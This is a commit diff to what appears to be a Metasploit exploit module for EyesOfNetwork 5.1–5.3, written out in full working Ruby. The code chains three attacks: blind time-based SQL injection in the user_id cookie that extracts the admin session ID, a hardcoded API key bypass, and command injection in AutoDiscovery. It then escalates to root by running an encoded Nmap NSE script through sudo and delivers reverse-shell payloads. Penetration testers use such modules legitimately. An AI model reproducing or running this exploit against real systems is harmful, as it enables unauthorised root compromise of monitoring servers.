Land #13485, Update eyesofnetwork_autodiscovery_rce with SQLi auth bypass
This commit is contained in:
@@ -6,13 +6,14 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
|
||||
'Name' => 'EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
|
||||
and prior in order to execute arbitrary commands as root.
|
||||
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2
|
||||
and 5.3 in order to execute arbitrary commands as root.
|
||||
|
||||
This module takes advantage of a command injection vulnerability in the
|
||||
`target` parameter of the AutoDiscovery functionality within the EON web
|
||||
@@ -21,15 +22,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
privilege escalation because the`apache` user can execute Nmap as root.
|
||||
|
||||
Valid credentials for a user with administrative privileges are required.
|
||||
However, this module can bypass authentication via two methods, i.e. by
|
||||
generating an API access token based on a hardcoded key, and via SQLI.
|
||||
This module has been successfully tested on EyesOfNetwork 5.3 with API
|
||||
version 2.4.2.
|
||||
However, this module can bypass authentication via various methods, depending on
|
||||
the EON version. EON 5.3 is vulnerable to a hardcoded API key and two SQL
|
||||
injection exploits. EON 5.1 and 5.2 can only be exploited via SQL injection.
|
||||
This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Clément Billac', # @h4knet - Discovery and exploit
|
||||
'Clément Billac', # @h4knet - Discovery and exploits
|
||||
'bcoles', # Metasploit
|
||||
'Erik Wynter' # @wyntererik - Metasploit
|
||||
],
|
||||
@@ -39,24 +40,55 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
['CVE', '2020-8655'], # nmap privesc
|
||||
['CVE', '2020-8656'], # sqli auth bypass
|
||||
['CVE', '2020-8657'], # hardcoded API key
|
||||
['EDB', '48025']
|
||||
['CVE', '2020-9465'], # sqli in user_id cookie field
|
||||
['EDB', '48025'], #exploit for EON 5.3 (does not cover CVE 2020-9465)
|
||||
['url', 'https://github.com/h4knet/eonrce'] #exploits for EON 5.1-5.3 that cover all CVEs mentioned above
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux (x86)', {
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
}
|
||||
} ],
|
||||
[ 'Linux (x64)', {
|
||||
'Arch' => ARCH_X64,
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
} ],
|
||||
[ 'Linux (cmd)', {
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
},
|
||||
} ]
|
||||
],
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Auto', { }]],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => '2020-02-06',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true, #HTTPS is required for the module to work
|
||||
'PAYLOAD' => 'generic/shell_reverse_tcp'
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
'DefaultTarget' => 1,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||
}
|
||||
))
|
||||
register_options [
|
||||
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
|
||||
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('SQLI_SLEEP', [false, 'SQL Sleep value', 1]),
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
]
|
||||
end
|
||||
@@ -71,29 +103,166 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def check
|
||||
vprint_status("Running check")
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
|
||||
|
||||
unless res
|
||||
res_css = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'css/eonweb.css')
|
||||
|
||||
unless res_css
|
||||
return CheckCode::Unknown('Connection failed')
|
||||
end
|
||||
|
||||
unless res.code == 401 && res.body.include?('api_version')
|
||||
unless res_css.code == 200
|
||||
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
|
||||
end
|
||||
|
||||
version = res.get_json_document()['api_version'] rescue ''
|
||||
@version = res_css.body.to_s.split("VERSION :")[1].split(" ")[0]
|
||||
|
||||
if version.to_s.eql? ''
|
||||
if @version.to_s == ''
|
||||
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
|
||||
end
|
||||
|
||||
version = Gem::Version.new version
|
||||
|
||||
unless version <= Gem::Version.new('2.4.2')
|
||||
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
|
||||
if @version == '5.1'
|
||||
return CheckCode::Appears("Target is EyesOfNetwork version 5.1.")
|
||||
end
|
||||
|
||||
CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
|
||||
#The css file for EON 5.2 and 5.3 both mentions version 5.2, so additional checks are needed
|
||||
if @version != '5.2' #The module only works against EON 5.1, 5.2 and 5.3. Other versions are not considered vulnerable.
|
||||
return CheckCode::NotVulnerable("Target is EyesOfNetwork version #{@version} and is not vulnerable.")
|
||||
end
|
||||
|
||||
res_api = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
|
||||
|
||||
unless res_api
|
||||
return CheckCode::Unknown('Connection failed')
|
||||
end
|
||||
|
||||
unless res_api.code == 401 && res_api.body.include?('api_version')
|
||||
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
|
||||
end
|
||||
|
||||
api_version = res_api.get_json_document()['api_version'] rescue ''
|
||||
|
||||
if api_version.to_s == ''
|
||||
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
|
||||
end
|
||||
|
||||
api_version = Gem::Version.new api_version
|
||||
|
||||
unless api_version <= Gem::Version.new('2.4.2')
|
||||
return CheckCode::Safe("Target is EyesOfNetwork with API version #{api_version}.")
|
||||
end
|
||||
|
||||
#The only way to distinguish between EON 5.2 and 5.3 without authenticating is by checking the mod_perl version in the http response headers
|
||||
#The official EON 5.2 VM runs Apache with mod_perl version 2.0.10, while the EON 5.3 VM runs Apache with mod_perl version 2.0.11
|
||||
if res_api.headers.to_s.include?('mod_perl/2.0.10')
|
||||
@version = '5.2'
|
||||
return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.")
|
||||
elsif res_api.headers.to_s.include?('mod_perl/2.0.11')
|
||||
@version = '5.3'
|
||||
return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.")
|
||||
else
|
||||
return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}")
|
||||
end
|
||||
end
|
||||
|
||||
def sqli_to_admin_session
|
||||
sqli_sleep = datastore['SQLI_SLEEP']
|
||||
|
||||
#check if target is vulnerable to CVE-2020-9465
|
||||
start = Time.now
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/login.php"),
|
||||
'cookie' => "user_id=' union select sleep(#{sqli_sleep}) -- ;"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
elapsed = Time.now - start
|
||||
unless res.code == 200 && elapsed >= 1
|
||||
fail_with Failure::NotVulnerable, 'The target does not seem vulnerable. You could try increasing the value of the advanced option "SQLI_SLEEP".'
|
||||
end
|
||||
|
||||
print_good 'The target seems vulnerable.'
|
||||
|
||||
# Check if the admin user has a session opened, which is required for this exploit to work
|
||||
start = Time.now
|
||||
res1 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/login.php"),
|
||||
'cookie' => "user_id=' union select if((select count(*) from sessions where user_id = 1) > 0, sleep(\"#{sqli_sleep}\"),0) -- ;"
|
||||
})
|
||||
unless res1
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
elapsed = Time.now - start
|
||||
unless res1.code == 200 && res1.body.include?("<title>EyesOfNetwork</title>") && elapsed >= 1
|
||||
fail_with Failure::NoAccess, 'The admin user has no active sessions.'
|
||||
return
|
||||
end
|
||||
|
||||
print_status 'Verified that the admin user has at least one active session.'
|
||||
|
||||
@session_id_size = 0
|
||||
start = Time.now
|
||||
(23...32).each do |i|
|
||||
res2 = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/login.php"),
|
||||
'cookie' => "user_id=' union select if(length(conv((select session_id from sessions where user_id = 1 limit 1),10,2)) = #{i}, sleep(\"#{sqli_sleep}\"),0) -- ;"
|
||||
})
|
||||
|
||||
unless res2
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
elapsed = Time.now - start
|
||||
unless res2.code == 200 && res2.body.include?("<title>EyesOfNetwork</title>") && elapsed >= 1
|
||||
next
|
||||
end
|
||||
|
||||
print_status("Found the admin 'session_id' bit-size: #{i}")
|
||||
@session_id_size = i
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
def guess_bit(bit)
|
||||
sqli_sleep = datastore['SQLI_SLEEP']
|
||||
start = Time.now
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/login.php"),
|
||||
'cookie' => "user_id=' union select if(mid(conv((select session_id from sessions where user_id = 1 limit 1),10,2),#{bit+1},1), sleep(\"#{sqli_sleep}\"),0) -- ;"
|
||||
})
|
||||
elapsed = Time.now - start
|
||||
|
||||
return 0 unless res
|
||||
|
||||
unless res.code == 200 && res.body.include?("<title>EyesOfNetwork</title>") && elapsed >= 1
|
||||
return 0
|
||||
end
|
||||
|
||||
return 1
|
||||
end
|
||||
|
||||
def get_session_id
|
||||
print_status("Calculating the admin 'session_id' value. This will take a while...")
|
||||
|
||||
session_bits = []
|
||||
interval = @session_id_size / 4 # print updates in intervals of 4
|
||||
0.upto(@session_id_size - 1) do |position|
|
||||
session_bits << guess_bit(position)
|
||||
next if position == 0 || position % interval != 0
|
||||
vprint_status("Calculation is #{(position.fdiv(@session_id_size) * 100).round.to_s.rjust(3)}% complete")
|
||||
end
|
||||
vprint_status("Calculation is 100% complete") if (@session_id_size - 1) % interval != 0
|
||||
|
||||
@session_id = session_bits.join.to_i(2)
|
||||
print_good("Obtained admin 'session_id' value: #{@session_id}")
|
||||
@cookie = "session_id=#{@session_id}; user_name=admin; user_id=1; group_id=1;"
|
||||
end
|
||||
|
||||
def generate_api_key
|
||||
@@ -268,8 +437,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
res
|
||||
end
|
||||
|
||||
def filter_bad_chars(cmd)
|
||||
cmd.gsub!(/"/, '\"')
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
res = create_autodiscovery_job ";#{cmd} #"
|
||||
nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{cmd}\") end action=function() end")
|
||||
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
|
||||
nse_cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
|
||||
if target.arch.first == ARCH_CMD
|
||||
print_status "Sending payload (#{nse_cmd.length} bytes) ..."
|
||||
end
|
||||
|
||||
res = create_autodiscovery_job ";#{nse_cmd} #"
|
||||
return unless res
|
||||
|
||||
job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
|
||||
@@ -296,32 +476,52 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
@api_user = 'admin'
|
||||
@api_key = generate_api_key
|
||||
print_status "Using generated API key: #{@api_key}"
|
||||
if @version != '5.3'
|
||||
print_status "Target is EyesOfNetwork version #{@version}. Attempting exploitation using CVE-2020-9465."
|
||||
sqli_to_admin_session
|
||||
get_session_id
|
||||
else
|
||||
print_status "Target is EyesOfNetwork version #{@version} or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656."
|
||||
@api_user = 'admin'
|
||||
@api_key = generate_api_key
|
||||
print_status "Using generated API key: #{@api_key}"
|
||||
|
||||
@username = rand_text_alphanumeric(8..12)
|
||||
@password = rand_text_alphanumeric(8..12)
|
||||
@username = rand_text_alphanumeric(8..12)
|
||||
@password = rand_text_alphanumeric(8..12)
|
||||
|
||||
create_res = create_eon_user @username, @password
|
||||
unless verify_api_key(create_res)
|
||||
@api_key = sqli_to_api_key
|
||||
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
|
||||
print_status("Using API key obtained via SQL injection: #{@api_key}")
|
||||
sqli_verify = create_eon_user @username, @password
|
||||
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
|
||||
create_res = create_eon_user @username, @password
|
||||
|
||||
api = true #used to check if any of the 2 api exploits work. If not, CVE-2020-9465 is attempted
|
||||
unless verify_api_key(create_res)
|
||||
@api_key = sqli_to_api_key
|
||||
if @api_key
|
||||
print_error("Generated API key does not match.")
|
||||
print_status("Using API key obtained via SQL injection: #{@api_key}")
|
||||
sqli_verify = create_eon_user @username, @password
|
||||
api = false unless verify_api_key(sqli_verify)
|
||||
else
|
||||
api = false
|
||||
end
|
||||
end
|
||||
|
||||
if api
|
||||
admin_group_id = 1
|
||||
login @username, @password
|
||||
unless @cookie.include? 'group_id='
|
||||
@cookie << "; group_id=#{admin_group_id}"
|
||||
end
|
||||
else
|
||||
print_error("Failed to obtain valid API key.")
|
||||
print_status("Attempting exploitation using CVE-2020-9465.")
|
||||
sqli_to_admin_session
|
||||
get_session_id
|
||||
end
|
||||
end
|
||||
|
||||
admin_group_id = 1
|
||||
login @username, @password
|
||||
unless @cookie.include? 'group_id='
|
||||
@cookie << "; group_id=#{admin_group_id}"
|
||||
if target.arch.first == ARCH_CMD
|
||||
execute_command payload.encoded.gsub(/"/, '\"')
|
||||
else
|
||||
execute_cmdstager(background: true)
|
||||
end
|
||||
|
||||
nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
|
||||
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
|
||||
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
|
||||
print_status "Sending payload (#{cmd.length} bytes) ..."
|
||||
execute_command cmd
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user